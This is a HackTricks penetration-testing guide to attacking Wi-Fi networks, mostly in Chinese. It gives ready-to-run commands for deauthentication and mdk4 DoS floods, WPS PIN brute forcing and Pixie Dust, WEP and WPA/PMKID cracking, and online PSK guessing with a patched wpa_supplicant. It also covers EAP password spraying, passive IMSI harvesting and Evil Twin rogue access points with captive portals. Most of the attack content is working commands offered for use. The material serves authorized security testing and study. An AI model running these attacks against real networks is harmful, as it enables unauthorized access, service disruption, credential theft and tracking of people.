Pentesting Wifi
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Wifi 基本命令
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
工具
Hijacker & NexMon (Android 内部 Wi-Fi)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
使用 docker 运行 airgeddon
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用 phishing template 来设法获取网络的真实密码或捕获社交网络凭证。
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
该工具自动化执行 WPS/WEP/WPA-PSK 攻击。它会自动:
- 将接口设置为 monitor mode
- 扫描可能的网络 - 并让你选择受害者
- 如果是 WEP - 发起 WEP 攻击
- 如果是 WPA-PSK
- 如果是 WPS: Pixie dust attack 和 bruteforce attack(注意 bruteforce attack 可能需要很长时间)。注意它不会尝试 null PIN 或 database/generated PINs。
- 尝试从 AP 捕获 PMKID 以便破解
- 尝试 deauthenticate AP 的客户端以捕获 handshake
- 如果有 PMKID 或 Handshake,尝试使用 top5000 passwords 进行 bruteforce。
Attacks Summary
- DoS
- Deauthentication/disassociation – 断开所有人(或特定的 ESSID/Client)
- Random fake APs – 隐藏网络,可能导致扫描器崩溃
- Overload AP – 尝试 kill AP(通常不是很有用)
- WIDS – 玩弄 IDS
- TKIP, EAPOL – 对某些 AP 的特定 DoS 攻击
- Cracking
- Crack WEP(多个工具和方法)
- WPA-PSK
- WPS pin “Brute-Force”
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin(有或没有 DoS)
- Open Evil Twin [+ DoS] – 有助于捕获 captive portal creds 和/或 执行 LAN 攻击
- WPA-PSK Evil Twin – 如果知道密码,对网络攻击很有用
- WPA-MGT – 有助于捕获公司 credentials
- KARMA, MANA, Loud MANA, Known beacon
- + Open – 有助于捕获 captive portal creds 和/或 执行 LAN 攻击
- + WPA – 有助于捕获 WPA handshakes
Open / OWE networks quick notes
- Passive capture on open SSIDs 仍然可以通过 monitor mode 和 tcpdump 工作:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
- OWE (Opportunistic Wireless Encryption) 对每个终端执行密钥交换(无 PSK),因此即使在 “open” SSIDs 上,空中帧也会被加密。作为基于 WPA3 的技术,它还强制实施 802.11w PMF,可以阻止伪造的 deauth/disassoc 帧。
- OWE does not authenticate joiners:任何人都可以关联,因此应 verify client isolation,不要只相信营销宣传。若没有隔离,本地 L2 上的 ARP spoofing 或 responder-style poisoning 仍然有效。
- Evil Twin 通过提供更强的信号仍能在 open/OWE SSIDs 上实现;PMF 只是去掉了 deauth 的捷径。如果受害者接受伪造的 TLS cert,就可以恢复完整的 HTTP(S) MitM。
- 在 open guest Wi-Fi 上进行 Broadcast poisoning 容易获取 creds/hashes(LLMNR/NBT-NS/mDNS)。参见:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
DOS
Deauthentication Packets
描述来自 here:。
Deauthentication 攻击是 Wi-Fi hacking 中一种常见手法,涉及伪造 “management” 帧以 强制将设备从网络中断开。这些未加密的数据包会欺骗客户端,使其误以为来自合法网络,从而使攻击者能够收集 WPA handshakes 以便进行 cracking,或持续扰乱网络连接。这种策略因其简单而令人警惕,被广泛使用,对网络安全有重大影响。
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 表示 deauthentication
- 1 是要发送的 deauths 数量(如需可发送多个);0 表示持续发送
- -a 00:14:6C:7E:40:80 是 access point 的 MAC address
- -c 00:0F:B5:34:30:30 是要 deauthenticate 的 client 的 MAC address;如果省略则发送 broadcast deauthentication(不总是有效)
- ath0 是 interface name
Disassociation Packets
Disassociation packets, 类似于 deauthentication packets,是 Wi-Fi 网络中使用的一种 management frame。它们用于断开 device(例如 laptop 或 smartphone)与 access point (AP) 之间的连接。disassociation 和 deauthentication 之间的主要区别在于使用场景。AP 会发出 deauthentication packets to remove rogue devices explicitly from the network, disassociation packets are typically sent when the AP is undergoing a shutdown;在 AP 关闭、重启或迁移时,通常会发送 disassociation packets,从而断开所有已连接的节点。
此攻击可通过 mdk4(mode “d”) 执行:
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
更多由 mdk4 发起的 DOS 攻击
在 here.
ATTACK MODE b: Beacon Flooding
向客户端发送 beacon frames 用于显示 fake APs。这有时会使 network scanners 甚至 drivers 崩溃!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
发送认证帧到所有覆盖范围内可访问的接入点(APs)可能会使这些 APs 过载,尤其是在有大量客户端时。大量流量会导致系统不稳定,造成部分 APs 冻结甚至重启。
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
探测 Access Points (APs) 可以检查 SSID 是否正确显示并确认 AP 的覆盖范围。该技术结合 bruteforcing hidden SSIDs(有或没有 wordlist),有助于识别并访问隐藏网络。
ATTACK MODE m: Michael Countermeasures Exploitation
向不同的 QoS queues 发送随机或重复的数据包可能在 TKIP APs 上触发 Michael Countermeasures,导致 AP 关闭一分钟。该方法是一种高效的 DoS(Denial of Service)攻击手段。
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
向 AP 泛洪 EAPOL Start frames 会创建 fake sessions,使 AP 不堪重负并阻止合法客户端。或者,注入 fake EAPOL Logoff messages 强制断开客户端连接,这两种方法都能有效中断网络服务。
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: 针对 IEEE 802.11s 网状网络的攻击
对网状网络中的链路管理和路由的各种攻击。
ATTACK MODE w: WIDS 混淆
将客户端交叉连接到多个 WDS 节点或伪造的 rogue APs,可以操纵 Intrusion Detection and Prevention Systems,制造混淆并可能导致系统被滥用。
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
一个具有多种数据包来源和用于数据包操作的全面修饰器集合的 Packet Fuzzer。
Airggedon
Airgeddon 提供了前述评论中提出的大多数攻击:
.png)
WPS
WPS (Wi-Fi Protected Setup) 简化了将设备连接到路由器的过程,加快并简化了对使用 WPA 或 WPA2 Personal 加密的网络的设置。对于容易被攻破的 WEP,WPS 无效。WPS 使用 8 位 PIN,分两部分进行验证,由于组合数有限(约 11,000 种可能),因此容易受到暴力破解攻击。
WPS Bruteforce
执行此操作主要有两个工具:Reaver 和 Bully。
- Reaver 旨在成为针对 WPS 的稳健且实用的攻击工具,并已在多种接入点和 WPS 实现上进行过测试。
- Bully 是用 C 编写的 WPS 暴力破解攻击的一个 新实现。与原始 reaver 代码相比,它有若干优点:依赖更少、内存和 CPU 性能更好、正确处理 endianness(字节序),并提供更健壮的选项集。
该攻击利用了 WPS PIN 的脆弱性,特别是它会暴露前四位数字且最后一位作为校验和的机制,从而简化了暴力破解过程。然而,对抗暴力破解的防护措施(例如阻止激进攻击者的 MAC address)要求进行 MAC address rotation 才能继续攻击。
在使用 Bully 或 Reaver 等工具获得 WPS PIN 后,攻击者可以推算出 WPA/WPA2 PSK,从而确保 持续的网络访问。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
这种改进的方法利用已知漏洞针对 WPS PINs:
- Pre-discovered PINs: 使用一个已知 PIN 数据库,该数据库将已知使用统一 WPS PINs 的特定制造商与 PIN 关联。该数据库将 MAC-addresses 的前三个八位组与这些制造商可能的 PIN 进行对应。
- PIN Generation Algorithms: 利用像 ComputePIN 和 EasyBox 这样的算法,这些算法基于 AP 的 MAC-address 计算 WPS PINs。Arcadyan algorithm 还需要一个 device ID,为 PIN 生成过程增加了一层。
WPS Pixie Dust attack
Dominique Bongard 发现了一些 Access Points (APs) 在创建名为 nonces (E-S1 和 E-S2) 的秘密码时存在一个缺陷。如果这些 nonces 能被推算出来,破解 AP 的 WPS PIN 就变得很容易。AP 在一个特殊的代码(hash)中暴露了 PIN 以证明它是合法的而不是伪造(rogue)AP。这些 nonces 本质上就是打开保存 WPS PIN 的“保险箱”的“钥匙”。更多内容见 here.
简单来说,问题在于一些 AP 在连接过程中用于加密 PIN 的密钥随机性不足。这使得 PIN 易于被网络外部猜测(offline brute force attack)。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
如果你不想把设备切换到 monitor mode,或者 reaver 和 bully 出现问题,可以尝试 OneShot-C。该工具可以在无需切换到 monitor mode 的情况下执行 Pixie Dust attack。
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
一些设计不良的系统甚至允许 Null PIN(一个空的或不存在的 PIN)授予访问权限,这相当不寻常。工具 Reaver 能够测试此漏洞,而 Bully 则不能。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
所有提出的 WPS 攻击都可以使用 airgeddon. 轻松执行
.png)
- 5 和 6 让你尝试 自定义 PIN(如果你有的话)
- 7 和 8 执行 Pixie Dust attack
- 13 允许你测试 NULL PIN
- 11 和 12 会从可用数据库重新收集与选定 AP 相关的 PINs并生成可能的PINs,使用:ComputePIN、EasyBox,和可选的 Arcadyan(推荐,何乐而不为?)
- 9 和 10 将测试 所有可能的 PIN
WEP
Why it collapses
- RC4 seed 只是 IV (24 bits) + shared key。IV 是明文、很小(2^24),并且很快重复,所以具有相同 IV 的密文会重用 keystream。
- 对两个使用相同 keystream 的密文进行 XOR leaks
PlaintextA ⊕ PlaintextB;可预测的报头 + RC4 KSA 偏差(FMS)让你对密钥字节进行“投票”。PTW 使用 ARP 流量优化这一点,将所需的数据包从数百万降到数万。 - 完整性仅为 CRC32(线性/无密钥),因此攻击者可以翻转比特并在不需要密钥的情况下重新计算 CRC32 → 在等待 IV 的同时进行数据包伪造/重放/ARP 注入。
实际破解是确定性的:
airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap # PTW attack recovers key once IV threshold is met
Airgeddon 仍然附带一个 “All-in-One” WEP 工作流,如果你更喜欢引导式 UI。
.png)
WPA/WPA2 PSK
PMKID
2018 年,hashcat 披露了一种新的攻击方法,其独特之处在于它只需单个数据包,且不需要任何客户端连接到目标 AP——只需攻击者与 AP 之间的交互。
许多现代路由器在关联期间向第一个 EAPOL 帧添加了一个可选字段,称为 Robust Security Network。这其中包含了 PMKID。
正如原帖所说明,PMKID 是使用已知数据创建的:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
鉴于 “PMK Name” 是恒定的,我们知道 AP 的 BSSID 和 station,且 PMK 与完整 4-way handshake 中的一致,hashcat 可以使用这些信息破解 PSK 并恢复 passphrase!
要 gather 这些信息并在本地 bruteforce 密码你可以执行:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
PMKIDs captured 将显示在 console 中,并且也会 保存 在 _ /tmp/attack.pcap_.
现在,将 capture 转换为 hashcat/john 格式并 crack it:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
请注意,正确的 hash 格式包含 4 个部分,例如:4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838。如果你的 仅 包含 3 个部分,那么它是 无效的(PMKID capture 无效)。
注意,hcxdumptool also capture handshakes(会出现类似:MP:M1M2 RC:63258 EAPOLTIME:17091)。你可以 transform 这些 handshakes 为 hashcat/john 格式,使用 cap2hccapx。
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
I have noticed that some handshakes captured with this tool couldn’t be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.
Handshake 捕获
对 WPA/WPA2 网络的攻击可以通过捕获 handshake 并尝试在 offline 环境下 crack 密码来执行。该过程涉及在特定 channel 上监视特定网络与 BSSID 的通信。下面是精简指南:
- 确认目标网络的 BSSID、channel 和一个 connected client。
- 使用
airodump-ng在指定的 channel 和 BSSID 上监视网络流量,尝试捕获 handshake。命令如下:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- 为了增加捕获 handshake 的机会,可以短暂断开客户端与网络的连接以强制重新认证。可以使用
aireplay-ng命令来实现,该命令向客户端发送 deauthentication packets:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.
一旦在 airodump-ng 中出现一些 handshake 信息,这表示已捕获 handshake,你可以停止监听:
 (1).png)
一旦捕获到 handshake,你可以使用 aircrack-ng crack 它:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
检查文件中是否有 handshake
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
如果该工具在找到已完成的握手之前先发现某个 ESSID 的未完成握手,它不会检测到有效的握手。
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
通过 wpa_supplicant ctrl socket 更快进行在线 PSK 猜测(无 clients/PMKID)
当没有客户端且 AP 拒绝 PMKID 时,你可以在线迭代 PSKs,而无需重启 supplicants:
- 修改
wpa_supplicant.c,在认证失败的退避逻辑中(位于ssid->auth_failures附近)强制设定dur = 0;,从而有效禁用临时禁用计时器。 - 使用带控制套接字的单个守护进程运行:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1
wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
- 通过控制界面驱动它,重用相同的 scan 和 network:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED
一个小的 Python 循环读取 socket 事件 (CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED) 可以在没有扫描开销的情况下在大约 5 分钟内测试约 100 个猜测。它仍然会产生噪声且易被检测,但可以避免每次尝试时重启进程和退避延迟。
WPA Enterprise (MGT)
在 enterprise WiFi 部署中,您会遇到各种认证方法,每种方法提供不同的安全级别和管理功能。使用像 airodump-ng 这样的工具检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- 该方法在 EAP-PEAP 中支持硬件令牌和一次性密码。与 MSCHAPv2 不同,它不使用 peer challenge,并以明文将密码发送到接入点,这对降级攻击构成风险。
- EAP-MD5 (Message Digest 5):
- 客户端发送密码的 MD5 哈希。由于容易遭受字典攻击、缺乏服务器认证且无法生成会话特定的 WEP 密钥,不推荐 使用。
- EAP-TLS (Transport Layer Security):
- 使用客户端和服务器端证书进行认证,并能动态生成基于用户和基于会话的 WEP 密钥以保护通信。
- EAP-TTLS (Tunneled Transport Layer Security):
- 通过加密隧道提供双向认证,并提供派生动态的、每用户每会话的 WEP 密钥的方法。仅需要服务器端证书,客户端使用凭证。
- PEAP (Protected Extensible Authentication Protocol):
- 像 EAP 一样通过创建 TLS 隧道来保护通信。隧道提供的保护允许在 EAP 之上使用较弱的认证协议。
- PEAP-MSCHAPv2:通常简称为 PEAP,将易受攻击的 MSCHAPv2 挑战/响应机制与保护性的 TLS 隧道结合。
- PEAP-EAP-TLS (or PEAP-TLS):与 EAP-TLS 类似,但在交换证书之前先建立 TLS 隧道,提供额外的安全层。
You can find more information about these authentication methods here and here.
Username Capture
阅读 https://tools.ietf.org/html/rfc3748#page-27 后,看来如果使用 EAP,“Identity” messages 必须被支持,并且 username 会在 “Response Identity” 消息中以明文发送。
即便使用最安全的认证方法之一:PEAP-EAP-TLS,仍然可能capture the username sent in the EAP protocol。为此,capture a authentication communication(在一个信道中启动 airodump-ng,并在同一接口中运行 wireshark),并按 eapol 过滤数据包。
在 “Response, Identity” 包中,客户端的 username 将出现。
.png)
Anonymous Identities
EAP-PEAP 和 EAP-TTLS 都支持身份隐藏。在 WiFi 网络的上下文中,EAP-Identity 请求通常由接入点 (AP) 在关联过程中发起。为了保护用户匿名性,用户设备上 EAP 客户端的响应只包含初始 RADIUS 服务器处理请求所需的基本信息。以下情景说明了这一概念:
- EAP-Identity = anonymous
- 在这种情形下,所有用户都使用匿名的 pseudonymous “anonymous” 作为其用户标识。初始 RADIUS 服务器充当 EAP-PEAP 或 EAP-TTLS 服务器,负责管理 PEAP 或 TTLS 协议的服务器端。然后,内部(受保护的)认证方法要么在本地处理,要么委派给远程(home)RADIUS 服务器。
- EAP-Identity = anonymous@realm_x
- 在这种情况下,不同 realm 的用户在隐藏其身份的同时指示各自的 realm。这允许初始 RADIUS 服务器将 EAP-PEAP 或 EAP-TTLS 请求代理到其 home realm 中的 RADIUS 服务器,这些服务器充当 PEAP 或 TTLS 服务器。初始 RADIUS 服务器仅作为 RADIUS 中继节点运行。
- 或者,初始 RADIUS 服务器可作为 EAP-PEAP 或 EAP-TTLS 服务器,并要么处理受保护的认证方法,要么将其转发到另一台服务器。此选项便于为不同的 realms 配置不同的策略。
在 EAP-PEAP 中,一旦在 PEAP 服务器和 PEAP 客户端之间建立了 TLS 隧道,PEAP 服务器会发起 EAP-Identity 请求并通过 TLS 隧道传输。客户端通过加密隧道响应第二个 EAP-Identity 请求,发送包含用户真实身份的 EAP-Identity 响应。此方法有效防止任何窃听 802.11 流量的人看到用户的真实身份。
EAP-TTLS 的过程略有不同。在 EAP-TTLS 中,客户端通常在 TLS 隧道保护下使用 PAP 或 CHAP 进行认证。在这种情况下,客户端在隧道建立后发送的初始 TLS 消息中包含一个 User-Name 属性以及 Password 或 CHAP-Password 属性。
无论选择哪种协议,PEAP/TTLS 服务器在 TLS 隧道建立后都会获取用户的真实身份。真实身份可以表示为 user@realm 或简单的 user。如果 PEAP/TTLS 服务器也负责对用户进行认证,它现在掌握了用户身份并继续使用 TLS 隧道保护的认证方法。或者,PEAP/TTLS 服务器可将新的 RADIUS 请求转发到用户的 home RADIUS 服务器。这个新的 RADIUS 请求省略了 PEAP 或 TTLS 协议层。在受保护的认证方法为 EAP 的情况下,内部 EAP 消息会在没有 EAP-PEAP 或 EAP-TTLS 包装的情况下传输到 home RADIUS 服务器。传出的 RADIUS 消息的 User-Name 属性包含用户的真实身份,替换了传入 RADIUS 请求中的匿名 User-Name。当受保护的认证方法为 PAP 或 CHAP(仅由 TTLS 支持)时,从 TLS 有效载荷中提取的 User-Name 和其他认证属性将被替换进传出的 RADIUS 消息,从而取代传入 RADIUS 请求中的匿名 User-Name 和 TTLS EAP-Message 属性。
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.
Where the leak happens (high level):
- 802.11 association completes to the SSID(通常是运营商卸载 SSID,如 FreeWifi_secure、类似 eduroam 的 operator realms 等)。
- Authenticator sends EAP-Request/Identity。
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection。
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame。No 4-way handshake or TLS keying is needed。
Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy
点击展开
```bash # 1) Enable monitor mode airmon-ng start wlan02) Optional: lock channel to the target BSS
airodump-ng wlan0mon –essid
3) Capture 802.1X/EAP frames
Wireshark display filters:
eap || eapol
(identity specifically): eap.code == 2 && eap.type == 1
Kismet: add source wlan0mon; enable 802.1X/EAP views
tcpdump (pcap capture):
tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
4) Wait for a device to auto-connect to the SSID
5) Inspect the first EAP-Response/Identity frame
Expected: ASCII NAI containing IMSI, e.g.
20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
</details>
注意:
- 如果部署使用裸 EAP‑SIM/AKA 且未启用 protected identity/pseudonyms(受保护的身份/假名),则在任何 TLS 隧道建立之前就会发生。
- 暴露的值是与订户的 SIM 绑定的永久标识;收集该值可实现长期追踪并导致后续的电信滥用。
影响
- 隐私:在公共场所通过被动 Wi‑Fi 捕获实现对用户/设备的持续跟踪。
- 电信滥用引导:获得 IMSI 后,拥有 SS7/Diameter 访问的攻击者可以查询位置,或尝试拦截通话/SMS 并窃取 MFA。
缓解 / 检查要点
- 验证客户端是否按照 3GPP 指南(例如 3GPP TS 33.402)为 EAP‑SIM/AKA 使用匿名外层身份(anonymous outer identities / pseudonyms)。
- 优先对身份阶段进行隧道化(例如通过 EAP‑TTLS/PEAP 承载内层 EAP‑SIM/AKA),以避免以明文发送 IMSI。
- association/auth 的抓包不应在 EAP-Response/Identity 中暴露原始 IMSI。
相关:使用捕获的移动标识符进行电信信令利用
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>
### EAP-Bruteforce (password spray)
如果客户端预计使用 **用户名和密码**(注意 **EAP-TLS 在这种情况下无效**),那么你可以尝试获取一份 **用户名** 列表(见下一部分)和 **密码**,并尝试对访问进行 **bruteforce**,使用 [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
你也可以使用 eaphammer 来进行此攻击:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
客户端攻击理论
Network Selection and Roaming
- The 802.11 protocol defines how a station joins an Extended Service Set (ESS) but does not specify the criteria for selecting an ESS or an access point (AP) within it.
- Stations can roam between APs sharing the same ESSID, maintaining connectivity across a building or area.
- The protocol requires station authentication to the ESS but does not mandate AP authentication to the station.
Preferred Network Lists (PNLs)
- Stations store the ESSID of every wireless network they connect to in their Preferred Network List (PNL), along with network-specific configuration details.
- The PNL is used to automatically connect to known networks, improving the user’s experience by streamlining the connection process.
Passive Scanning
- APs periodically broadcast beacon frames, announcing their presence and features, including the AP’s ESSID unless broadcasting is disabled.
- During passive scanning, stations listen for beacon frames. If a beacon’s ESSID matches an entry in the station’s PNL, the station may automatically connect to that AP.
- Knowledge of a device’s PNL allows for potential exploitation by mimicking a known network’s ESSID, tricking the device into connecting to a rogue AP.
Active Probing
- Active probing involves stations sending probe requests to discover nearby APs and their characteristics.
- Directed probe requests target a specific ESSID, helping detect if a particular network is within range, even if it’s a hidden network.
- Broadcast probe requests have a null SSID field and are sent to all nearby APs, letting the station check for any preferred network without disclosing its PNL contents.
Simple AP with redirection to Internet
在解释如何执行更复杂攻击之前,先说明 如何 仅 创建 一个 AP 并 重定向 它的 流量 到一个连接到 互联网 的接口。
Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
创建配置文件 /etc/dnsmasq.conf:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
然后 设置 IPs 和 routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
然后 启动 dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
创建配置文件 hostapd.conf:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
停止烦人的进程,设置 monitor mode,并 启动 hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
转发和重定向
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Evil Twin 攻击利用了 WiFi 客户端识别网络的方式,主要依赖网络名称 (ESSID),而不要求基站 (access point) 向客户端进行身份验证。要点包括:
- 难以区分: 当合法和流氓无线接入点共享相同 ESSID 和加密类型时,设备很难区分。现实网络通常使用多个相同 ESSID 的无线接入点来无缝扩展覆盖范围。
- 客户端漫游与连接操控: 802.11 协议允许设备在同一 ESS 的接入点之间漫游。攻击者可以通过诱导设备断开当前基站并连接到流氓接入点来利用这一点。可以通过提供更强的信号,或使用 deauthentication packets 或 jamming 等方法破坏设备与合法接入点的连接来实现。
- 执行难点: 在部署了多个且位置合理的接入点的环境中,成功实施 evil twin 攻击具有挑战性。对单个合法接入点进行 deauthenticate 通常会导致设备连接到另一个合法接入点,除非攻击者能对附近所有接入点执行 deauthenticate 或能战略性地放置流氓接入点。
你可以通过以下方式创建一个非常基础的 Open Evil Twin(无法将流量路由到 Internet):
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
你也可以使用 eaphammer 创建一个 Evil Twin(注意:要使用 eaphammer 创建 evil twins 时,接口 不应处于 monitor 模式):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Or using Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
.png)
Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won’t connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won’t be able to let the victim connect to you as you don’t know the PSK, but you can capture the handshake and try to crack it).
